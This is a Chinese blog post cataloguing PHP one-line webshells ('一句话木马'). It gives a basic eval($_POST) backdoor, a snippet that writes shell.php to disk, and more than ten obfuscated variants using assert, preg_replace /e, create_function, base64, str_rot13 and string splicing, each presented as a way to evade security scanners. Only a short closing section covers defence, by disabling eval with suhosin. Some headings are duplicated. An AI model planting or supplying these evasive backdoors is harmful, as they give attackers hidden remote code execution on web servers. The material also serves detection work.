本文作者:DurkBlue

关于PHP的eval语言构造器推荐

DurkBlue 11-18 28
关于PHP的eval语言构造器摘要: 揭开黑客的隐秘手法介绍:在网络安全的攻防世界中,PHP一句话木马可谓是黑客们的“隐秘杀手”。一句话木马之所以危险,不仅在于它的短小精悍、隐蔽性强,还在于它能不断变形,轻易绕过防护系...

揭开黑客的隐秘手法

介绍:在网络安全的攻防世界中,PHP一句话木马可谓是黑客们的“隐秘杀手”。一句话木马之所以危险,不仅在于它的短小精悍、隐蔽性强,还在于它能不断变形,轻易绕过防护系统。本文将带你一探黑客如何利用这些神秘代码突破网站的层层防护,掌控服务器,让我们揭开PHP一句话木马变形背后的暗黑技术。


一句话木马的起源与基础

“一句话木马”最早可以追溯到互联网初期,黑客们就发现PHP代码可以通过单行代码实现控制功能。最简单的PHP一句话木马可能就像 <?php eval($_POST['cmd']); ?> 这样,通过 eval() 函数动态执行代码,攻击者只需传递特定参数,即可执行任意命令。表面上看,这段代码平淡无奇,但它的威力却让网络管理员闻风丧胆。


一句话木马的起源与基础


下面整理了一下当前最常见的PHP后门:

最流行的一种后门叫做一句话木马,例如:<?php eval($_POST[‘cmd’]);?>


原理:

1.在PHP脚本语言中,eval或者assert(code)的功能是将code组合成php命令,然后将命令执行。

2.<?php $a=”phpinfo()”; eval(“echo $a; “);?>就相当于执行 echo phpinfo();语句。


优点:短小精悍,功能强大。

缺点:容易被安全软件检测出来。


为了增强隐蔽性,减小被检测的出来的概率,出现了各种一句话木马的变形。

下面是我做的几种测试,当然一句话的变形并不局限于以下,我们也可以传入文档,在用动态写入语句,在同级目录下创建一句话后门,比如:<?php fputs(fopen(“shell.php”,”w”),”<?php eval($_POST[‘cmd’]);?>”)?>


1.混淆技术

混淆是变形最常见的一种形式,黑客们可以通过字符串编码、变量拼接等手段隐藏木马的真实意图。例如:


<?php ${'_'.'P'.'O'.'S'.'T'}['cmd'] = "系统命令";



将字符逐个拼接,安全系统很难精准识别出这段代码的恶意意图。此类手法堪称“伪装大师”,使代码显得平平无奇,但仍然具备执行恶意操作的能力。


2. 利用assert()函数变形

eval()函数经常成为安全系统的检测目标,因此黑客们找到了替代函数——assert()。这个函数同样可以执行PHP代码,但不易被标记。比如:


<?php assert($_POST['cmd']); ?>



在使用场景上与 eval() 类似,却更难被安全软件识别,给网站管理员带来了不小的防御难题。


3. 基于preg_replace()的恶意代码执行

利用正则函数执行代码是木马变形的另一种高明手法。某些环境下, preg_replace() 可以执行替换代码,变形如下:


<?php preg_replace('/.*/e', $_POST['cmd'], ''); ?>



这种形式掩盖了 eval() 的使用,达到同样的效果,使得安全策略更难防御。


高级变形:动态加密与自解密技术

为了进一步提升隐蔽性,黑客们引入了加密和自解密技术。加密后的木马代码会以密文形式存在,只有通过特定的解密操作才能还原成可执行代码。这种手法通常使用 base64_encode() 和 base64_decode() 等函数,具体示例如下:


<?php eval(base64_decode("ZWNobyBoZWxsbyB3b3JsZA==")); ?>


攻击者传递的参数将被解码并执行,绕过静态检测,只有在实际执行时才能被识别,这也使得入侵行为更加难以察觉。


变形一

<?php  
  $a=str_replace("x", "", "axsxxxxsxexrt");
  $a($_POST["cmd"]);
?>


变形二

<?php  
 $fun=create_function('',$_POST['a']);
$fun();
?>


变形三

<?php  
 @call_user_func(assert,$_POST['a']);
?>


变形四

<?php  
 @$test='<?php $a=$_POST["cmd"];assert($a); ?>';
 file_put_contents("shell.php", $test);
?>


变形四

<?php  
 @call_user_func(assert,$_POST['a']);
?>


变形五

<?php  
 $a = "assert";
 $a(@$_POST['a']); 
?>


变形六


<?php  
$__C_C="WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09";
$__P_P="abcdefghijklmnopqrstuvwxyz";
$__X_X="123456789";
$__O_O=$__X_X[5].$__X_X[3]."_";
$__B_B=$__P_P{1}.$__P_P[0].$__P_P[18].$__P_P[4];
$__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4];
$__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11];
$__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4];
$__F_F.='_'.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].$__P_P[14].$__P_P[13];
$_[00]=$__F_F('$__S_S',$__E_E.'("$__S_S");');
@$_[00]($__H_H($__H_H($__C_C)));
?>
//解码后即==> eval($_POST[x]);



变形七

<?php  
 $a=str_replace("Waldo", "", "aWaldossert");
 $a(@$_POST['a']);
?>


变形八

<?php  
 $_=base64_decode("YXNzZXJ0");
 $_(str_rot13('riny($_CBFG[cntr]);'))
?>


变形九

<?php  
$a="a"."s"."s";
$b="e"."r"."t";
$c=$a.$b;
$c($_POST['a'])
?>


变形十

<?php  
$str="a=assert";
parse_str($str);
//$a=eval
$a($_POST['a']);
?>


变形十一

<?php  
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);
?>


为什么一句话木马难以根除?

PHP 一句话木马的变形技术持续迭代,使得防护手段往往刚上线就被破解。究其原因,这类木马利用了PHP的动态性和灵活性,这种语言本身允许动态执行代码。黑客们也非常擅长利用各种PHP函数,

发现和利用语言特性形成“暗门”。这种持久对抗的背后,揭示了攻防技术相互博弈的真实写照。


<?php @eval($_GET['aa']); ?>
eval会将请求的aa作为php语句执行,因此只要对_赋一定的system命令值,就能够执行系统命令;

例如请求为?aa=phpinfo()就可以查看php的具体信息

eval无法通过disable_functions禁止,但是可以使用suhosin扩展禁止eval函数

windwos服务器安装suhosin的方法:

下载suhosin

将下载的对应版本dll文件放在php的ext目录下(目前只找到了php5.4 5.5 5.6)(x86和x64)

然后在php.ini中加入

extension=php_suhosin.dll
suhosin.executor.disable_eval = on

重启php即可

linux安装suhosin的方法:

百度上教程很多

github地址:https://gitee.com/durkblue/suhosin.git


这篇文章由DurkBlue发布,转载请注明来处
文章投稿或转载声明

来源:DurkBlue版权归原作者所有,转载请保留出处。本站文章发布于 11-18
温馨提示:文章内容系作者个人观点,不代表DurkBlue博客对其观点赞同或支持。

赞(1)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

阅读
分享